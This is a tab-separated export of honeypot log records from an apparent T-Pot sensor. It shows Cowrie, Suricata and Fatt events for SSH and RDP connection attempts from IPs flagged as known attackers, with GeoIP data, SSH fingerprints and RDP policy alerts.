31262	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:43:55.947909+03	2021-09-20 14:45:04.260142+03	{"_id": "-QYFA3wBvYTbRNuEEUJB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "flow_id": 2156273096751258, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38298, "dest_port": 22, "timestamp": "2021-09-20T11:43:55.947909Z", "@timestamp": "2021-09-20T11:43:55.947Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31263	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:55.690992+03	2021-09-20 14:45:04.262142+03	{"_id": "-wYFA3wBvYTbRNuEEkI2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38298, "timestamp": "2021-09-20T11:43:55.690992", "@timestamp": "2021-09-20T11:43:55.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31264	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:43:55.948639+03	2021-09-20 14:45:04.263142+03	{"_id": "_gYFA3wBvYTbRNuEE0Jx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "f7d7d982bb43", "@version": "1", "timestamp": "2021-09-20T11:43:55.948639Z", "@timestamp": "2021-09-20T11:43:55.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31265	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:43:47.030997+03	2021-09-20 14:45:04.264142+03	{"_id": "6QYEA3wBvYTbRNuE8EJc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "0d9a9080bc93", "@version": "1", "duration": 3.413282632827759, "timestamp": "2021-09-20T11:43:47.030997Z", "@timestamp": "2021-09-20T11:43:47.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31266	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:43:47.651961+03	2021-09-20 14:45:04.265142+03	{"_id": "7AYEA3wBvYTbRNuE8UL-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:47.310915+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 189270416670339, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 61891, "timestamp": "2021-09-20T11:43:47.651961Z", "@timestamp": "2021-09-20T11:43:47.651Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31267	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:43:55.948006+03	2021-09-20 14:45:04.266142+03	{"_id": "-gYFA3wBvYTbRNuEEkI2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 38298, "dest_port": 22, "timestamp": "2021-09-20T11:43:55.948006", "@timestamp": "2021-09-20T11:43:55.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31268	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:43:55.690043+03	2021-09-20 14:45:04.267142+03	{"_id": "_wYFA3wBvYTbRNuEE0Jx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "f7d7d982bb43", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:43:55.690043Z", "@timestamp": "2021-09-20T11:43:55.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31269	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:43:55.687018+03	2021-09-20 14:45:04.268141+03	{"_id": "_QYFA3wBvYTbRNuEE0Jx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:38298 (192.168.176.2:22) [session: f7d7d982bb43]", "session": "f7d7d982bb43", "@version": "1", "protocol": "ssh", "src_port": 38298, "dest_port": 22, "timestamp": "2021-09-20T11:43:55.687018Z", "@timestamp": "2021-09-20T11:43:55.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31280	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:03.186699+03	2021-09-20 14:45:04.281143+03	{"_id": "LQYFA3wBvYTbRNuELkPO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:49816 (192.168.176.2:22) [session: 85a1133be76b]", "session": "85a1133be76b", "@version": "1", "protocol": "ssh", "src_port": 49816, "dest_port": 22, "timestamp": "2021-09-20T11:44:03.186699Z", "@timestamp": "2021-09-20T11:44:03.186Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
31270	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:43:47.629119+03	2021-09-20 14:45:04.269141+03	{"_id": "7wYEA3wBvYTbRNuE8UL_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:47.310915+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 189270416670339, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61891, "dest_port": 3389, "timestamp": "2021-09-20T11:43:47.629119Z", "@timestamp": "2021-09-20T11:43:47.629Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31271	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:43:47.983667+03	2021-09-20 14:45:04.271142+03	{"_id": "7gYEA3wBvYTbRNuE8UL_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:47.310915+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 189270416670339, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61891, "dest_port": 3389, "timestamp": "2021-09-20T11:43:47.983667Z", "@timestamp": "2021-09-20T11:43:47.983Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31272	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:43:47.629119+03	2021-09-20 14:45:04.272143+03	{"_id": "8AYEA3wBvYTbRNuE8kLz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 61891, "dest_port": 3389, "timestamp": "2021-09-20T11:43:47.629119", "@timestamp": "2021-09-20T11:43:47.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
31273	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:43:47.629119+03	2021-09-20 14:45:04.273142+03	{"_id": "7QYEA3wBvYTbRNuE8UL_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:47.310915+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 189270416670339, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61891, "dest_port": 3389, "timestamp": "2021-09-20T11:43:47.629119Z", "@timestamp": "2021-09-20T11:43:47.629Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31281	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:03.189712+03	2021-09-20 14:45:04.283171+03	{"_id": "LgYFA3wBvYTbRNuELkPO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "85a1133be76b", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:44:03.189712Z", "@timestamp": "2021-09-20T11:44:03.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31274	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:43:47.983667+03	2021-09-20 14:45:04.274141+03	{"_id": "6wYEA3wBvYTbRNuE8UL-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:43:47.310915+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 189270416670339, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 61891, "dest_port": 3389, "timestamp": "2021-09-20T11:43:47.983667Z", "@timestamp": "2021-09-20T11:43:47.983Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
31275	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:44:01.817122+03	2021-09-20 14:45:04.276171+03	{"_id": "IAYFA3wBvYTbRNuEKEO0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 1940534742550524, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49628, "dest_port": 22, "timestamp": "2021-09-20T11:44:01.817122Z", "@timestamp": "2021-09-20T11:44:01.817Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31276	150.109.115.128	109.199.241.180	Fatt	2021-09-20 14:44:01.824517+03	2021-09-20 14:45:04.277175+03	{"_id": "IgYFA3wBvYTbRNuEKUOp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49628, "dest_port": 22, "timestamp": "2021-09-20T11:44:01.824517", "@timestamp": "2021-09-20T11:44:01.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
